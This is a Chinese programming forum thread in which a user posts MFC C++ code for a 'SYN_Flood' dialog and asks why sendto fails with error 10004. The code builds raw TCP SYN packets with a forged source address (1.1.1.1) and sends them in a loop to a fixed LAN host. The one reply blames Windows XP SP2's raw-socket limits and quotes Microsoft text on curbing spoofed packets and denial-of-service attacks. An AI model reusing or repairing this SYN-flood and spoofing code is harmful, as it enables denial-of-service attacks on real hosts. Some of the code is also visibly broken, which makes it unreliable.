使用原始套接字发送数据包出现10004错误
代码如下:
//初始化WinSock2
bool CSYN_FloodDlg::InitWinsock2()
{
WSADATA wsaData;
WORD version; version=MAKEWORD(2,2);
if(0!=WSAStartup(version,&wsaData))
{
        AfxMessageBox("Failed to load winsock2 library!");
return false;
}
return true;
}bool CSYN_FloodDlg::CreateWinsock()//创建套接字并设定IP数据报格式
{
int optval=1;
//创建TCP套接字
m_Socket=socket(AF_INET,SOCK_RAW,IPPROTO_IP);    
if(m_Socket<0) {
AfxMessageBox("Socket Error!");
return false;
}
//设置头包含选项
//#define IP_HDRINCL 2 /* header is included with data */
    int re=setsockopt(m_Socket,IPPROTO_IP,IP_HDRINCL,(char*)&optval,sizeof(optval));
if(re==SOCKET_ERROR)
{
AfxMessageBox("setsockopt ERROR!");
return false;
}
return true;
}
//初始化各层包头
void CSYN_FloodDlg::InitPackageHeader()
{
IPHEADER ip_header;
TCPHEADER tcp_header;
PSDHEADER psd_header;
int ipsz,tcpsz,psdsz,itsz,ptsz;

ipsz=sizeof(IPHEADER);
tcpsz=sizeof(TCPHEADER);
psdsz=sizeof(PSDHEADER);
    ptsz=psdsz+tcpsz;
itsz=ipsz+tcpsz; //初始化IP头部
ip_header.ver_ihl=(4<<4|sizeof(ip_header)/sizeof(ULONG));
ip_header.tlen=htons(sizeof(ip_header)+sizeof(TCPHEADER));
ip_header.identification=1;
ip_header.flags_fo=0;
ip_header.ttl=128;
ip_header.proto=IPPROTO_TCP;
ip_header.crc=0;
ip_header.ip_src=inet_addr("1.1.1.1");
ip_header.ip_dst=inet_addr("192.168.21.37"); //初始化TCP头部
tcp_header.SourPort=htons(srcport);
tcp_header.DestPort=htons(destport);
tcp_header.SeqNo=htonl(SEQ);
tcp_header.AckNo=0;
tcp_header.HLen=(sizeof(TCPHEADER)/4<<4|0);
tcp_header.Flag=2;
tcp_header.UrgPtr=0;
tcp_header.ChkSum=0;
tcp_header.Window=htons(16384);
    
//初始化TCP伪头部
psd_header.saddr=ip_header.ip_src;
psd_header.daddr=ip_header.ip_dst;
psd_header.mbz=0;
psd_header.ptcl=IPPROTO_TCP;
psd_header.tcpl=htons(sizeof(TCPHEADER));// tmpBuf=(u_char*)malloc(40*sizeof(u_char));
memcpy(tmpBuf,&psd_header,psdsz);
memcpy(tmpBuf+psdsz,&tcp_header,tcpsz);
tcp_header.ChkSum=CheckSum((USHORT*)tmpBuf,ptsz);
memset(tmpBuf,0,ptsz);
memcpy(tmpBuf,&ip_header,ipsz);
    ip_header.crc=CheckSum((USHORT*)tmpBuf,ipsz);
memcpy(tmpBuf,&ip_header,ipsz);
memcpy(tmpBuf+ipsz,&tcp_header,tcpsz);
}//计算校验和
USHORT CSYN_FloodDlg::CheckSum(USHORT *buffer, int size)
{
unsigned long cksum=0; 
while(size >1) { 
cksum+=*buffer++; 
size -=sizeof(USHORT); 

if(size ) { 
cksum += *(UCHAR*)buffer; 

cksum = (cksum >> 16) + (cksum & 0xffff); 
cksum += (cksum >>16); 
return (USHORT)(~cksum); 
}void CSYN_FloodDlg::SendPackage()
{
int count=0,re;
dest.sin_family=AF_INET;
dest.sin_port=htons(destport);
dest.sin_addr.s_addr=inet_addr("192.168.21.37");
int number=10;
while(count<=number)
{
re=sendto(m_Socket,(char*)tmpBuf,52,0,(SOCKADDR*)&dest,sizeof(dest));

if(re==SOCKET_ERROR) 
{
int nErr = GetLastError();
CString strErr;
strErr.Format("Error Code :%d",nErr);
AfxMessageBox(strErr);
break;
}
count++;
}
}void CSYN_FloodDlg::OnBtnSend() 
{
// TODO: Add your control notification handler code here
if(InitWinsock2())
{
if(CreateWinsock())
{
InitPackageHeader();
SendPackage();
}
}
closesocket(m_Socket);
WSACleanup();
}

解决方案 »

  1.   

    你用的XP SP2吧?
    处于安全考虑,SP2补丁对原始套接字做了限制,不能发送两种报文:
    1. tcp报文
    2. 含有无效地址的UDP报文参考如下:
    TCP/IP  
      What   does   TCP/IP   do?  
      Transmission   Control   Protocol/Internet   Protocol   (TCP/IP)   is   a   suite   of   standard   protocols   for   connecting   computers   across   networks.   TCP/IP   enables   Windows-based   computers   to   connect   and   share   information   with   other   Microsoft   and   non-Microsoft   systems.  
       
      Who   does   this   feature   apply   to?  
      All   users   who   use   TCP/IP   to   connect   and   communicate   information   over   a   network   should   be   aware   of   the   changes   incorporated   in   Windows   XP   Service   Pack   2.  
       
      What   new   functionality   is   added   to   this   feature   in   Windows   XP   Service   Pack   2?  
      Restricted   traffic   over   raw   sockets  
      Detailed   description  
       
      A   very   small   number   of   Windows   applications   make   use   of   raw   IP   sockets,   which   provide   an   industry-standard   way   for   applications   to   create   TCP/IP   packets   with   fewer   integrity   and   security   checks   by   the   TCP/IP   stack.   The   Windows   implementation   of   TCP/IP   still   supports   receiving   traffic   on   raw   IP   sockets.   However,   the   ability   to   send   traffic   over   raw   sockets   has   been   restricted   in   two   ways:  
       
      &#8226;   TCP   data   cannot   be   sent   over   raw   sockets.  
         
      &#8226;   UDP   datagrams   with   invalid   source   addresses   cannot   be   sent   over   raw   sockets.   The   IP   source   address   for   any   outgoing   UDP   datagram   must   exist   on   a   network   interface   or   the   datagram   is   dropped.    
         
       
      Why   is   this   change   important?   What   threats   does   it   help   mitigate?  
       
      This   change   limits   the   ability   of   malicious   code   to   create   distributed   denial-of-service   attacks   and   limits   the   ability   to   send   spoofed   packets,   which   are   TCP/IP   packets   with   a   forged   source   IP   address.